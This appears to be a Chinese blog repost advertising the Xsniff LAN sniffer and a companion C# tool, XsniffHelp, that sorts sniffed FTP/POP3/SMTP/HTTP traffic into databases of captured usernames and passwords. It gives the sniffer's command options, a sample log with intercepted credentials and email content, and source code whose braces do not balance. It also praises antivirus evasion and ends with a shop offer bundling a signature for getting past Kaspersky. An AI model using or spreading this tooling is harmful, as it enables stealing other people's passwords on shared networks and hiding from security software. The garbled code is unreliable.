软件制作：Xsniff嗅探结果处理工具--XsniffHelp

来源：互联网发布：八方源码论坛编辑：程序博客网时间：2024/04/30 01:34

经过测试，Xsniff可以在winxp和win2000以及win2003下运行,可以抓局域网的密码(FTP 和POP3)，但HTTP的没有配置，只能抓常见的。不用装wincap组件，而且免杀性还好，寻找源码。

简易的命令行方式嗅探器，可捕获局域网内FTP/SMTP/POP3/HTTP协议密码。

运行参数说明：

xsniff <选项>

<选项>含义如下:

-tcp : 输出TCP数据报

-udp : 输出UDP数据报

-icmp : 输出ICMP数据报

-pass : 过滤密码信息

-hide : 后台运行

-host : 解析主机名

-addr <IP地址> : 过滤IP地址

-port <端口> : 过滤端口

-log <文件名> : 将输出保存到文件

-asc : 以ASCII形式输出

-hex : 以16进制形式输出

示例：xsniff.exe -pass -hide -log pass.log

xsniff.exe -tcp -udp -asc -addr 192.168.1.1

------------------------------------------------------------------------------------------

嗅探结果：

TCP [08/10/11 10:27:48]

202.243.15.102->172.168.8.9 Port: 1233->110

USER admin

TCP [08/10/11 10:27:48]

202.243.15.102->172.168.8.9 Port: 1233->110

PASS #$@wer123

TCP [08/10/11 10:28:20]

202.16.8.9->172. 168.10.2 Port: 23965->25

RCPT TO:11111@126.com

TCP [08/10/11 10:28:22]

202.16.8.9->172. 168.10.2 Port: 23965->25

MAIL FROM:YYYY@163.com

TCP [08/10/11 18:29:00]

202.16.8.9->172. 168.10.2 Port: 30955->80

HOST: "

Content-Transfer-Encoding: quoted-printable

E ve tre the? BR..=20

-----Original Message-----

From: XXXX, XXX XXX $XXXX\\Operations$

Sent: 10/08/2011, 18:13=20

To: YYY, YYY YYYY Y $XXXX\\Operations$

Subject: FW: 2011 Taxation=20

------------------------------------------------------------------------------------------

xsniff.exe嗅探结果，当超过几M的时候，嗅探的东西太多，人工处理这个结果的时候，那是不可能完成的，为此写了一个XsniffHelp工具，除去重复行，除去一些非用户名和密码的嗅探结果，经测试一个8M嗅探的结果，经处理只有1M多点，效率大概6分钟左右，结果还是不错的。

注意：此工具是.net开发的，运行需要安装.net环境。

string ConnStr = DBConStr;

OleDbConnection conn = new OleDbConnection(ConnStr);

string sqlUserStr = string.Empty;

string sqlPassStr = string.Empty;

int iCount = 0;

if (string.IsNullOrEmpty(strFilePath))

{

return;

}

else

{

try

{

sqlUserStr = "insert into User_tb (X_TCP,X_IP,X_Port,X_USER) values (@xTCP,@xIP,@xPort,@xUSER)";

sqlPassStr = "insert into Pass_tb (X_TCP,X_IP,X_Port,X_PASS) values (@xTCP,@xIP,@xPort,@xPASS)";

fs = new FileStream(strFilePath, FileMode.Open);

srReader = new StreamReader(fs);

string[] sLinkArray1 = null;

string[] sLinkArray2 = null;

string[] sLinkArray3 = null;

string strLine1 = ""; //TCP [08/10/11 10:27:48]

string strLine2 = ""; //171.243.15.102->172.16.8.9 Port: 1233->110

string strLine3 = ""; //USER|PASS|其它

string strLine4 = ""; //空行

int tag = 0;

while (srReader.Peek() != -1)

{

//读取一行文本

tag++;

switch (tag)

{

case 1:

strLine1 = srReader.ReadLine().Trim();

if (!strLine1.StartsWith("TCP"))

{

tag = tag - 1;

}

break;

case 2:

strLine2 = srReader.ReadLine().Trim();

break;

case 3:

strLine3 = srReader.ReadLine().Trim();

break;

case 4:

strLine4 = srReader.ReadLine().Trim();

break;

default:

break;

}

if (strLine1 != "" && strLine2 != "" && strLine3 != "" && ((tag == 4) || (tag == 3 && srReader.Peek() == -1)))

{

if (strLine3.StartsWith("USER"))

{

sLinkArray1 = strLine1.Split('[');

sLinkArray2 = strLine2.Split('-');

sLinkArray3 = strLine3.Split(' ');

OleDbCommand olecmd = new OleDbCommand(sqlUserStr, conn);

olecmd.CommandType = CommandType.Text;

olecmd.Parameters.AddWithValue("@xTCP", sLinkArray1[1].ToString().Substring(0, sLinkArray1[1].Length-2));

olecmd.Parameters.AddWithValue("@xIP", sLinkArray2[0].ToString());

olecmd.Parameters.AddWithValue("@xPort", sLinkArray2[2].ToString().Substring(1, sLinkArray2[2].Length - 1));

if (sLinkArray3.Length == 2 && sLinkArray3[1].Trim() != "" && sLinkArray3[1].Trim() != null)

{

olecmd.Parameters.AddWithValue("@xUSER", sLinkArray3[1].ToString());

}

else

{

olecmd.Parameters.AddWithValue("@xUSER", "UUUUUUUUUUUUUUUUUUUUU");

}

try

{

conn.Open();

int i = olecmd.ExecuteNonQuery();

conn.Close();

iCount++;

}

catch (Exception excep)

{

conn.Close();

MessageBox.Show(excep.Message + "strLine3:" + strLine3);

}

if (strLine3.StartsWith("PASS"))

{

sLinkArray1 = strLine1.Split('[');

sLinkArray2 = strLine2.Split('-');

sLinkArray3 = strLine3.Split(' ');

OleDbCommand olecmd = new OleDbCommand(sqlPassStr, conn);

olecmd.CommandType = CommandType.Text;

olecmd.Parameters.AddWithValue("@xTCP", sLinkArray1[1].ToString().Substring(0, sLinkArray1[1].Length - 2));

olecmd.Parameters.AddWithValue("@xIP", sLinkArray2[0].ToString());

olecmd.Parameters.AddWithValue("@xPort", sLinkArray2[2].ToString().Substring(1, sLinkArray2[2].Length - 1));

if (sLinkArray3.Length == 2 && sLinkArray3[1].Trim() != "" && sLinkArray3[1].Trim() != null)

{

olecmd.Parameters.AddWithValue("@xPASS", sLinkArray3[1].ToString());

}

else

{

olecmd.Parameters.AddWithValue("@xPASS", "PPPPPPPPPPPPPPPPPPPP");

}

try

{

conn.Open();

int i = olecmd.ExecuteNonQuery();

conn.Close();

iCount++;

}

catch (Exception excep)

{

conn.Close();

MessageBox.Show(excep.Message + "strLine3:" + strLine3);

}

tag = 0;

}

srReader.Close();

MessageBox.Show("成功导入" + iCount + "条数据!", "提示");

}

catch (Exception excep)

{

MessageBox.Show(excep.Message);

}

finally

{

srReader.Close();

fs.Close();

}

strFilePath = string.Empty;

LoadDataGridView();

-------------------------------------------------------------------------------------------

如有需要淘宝网店拍下XsniffHelp，拍下即送免杀卡巴斯基的数字签名。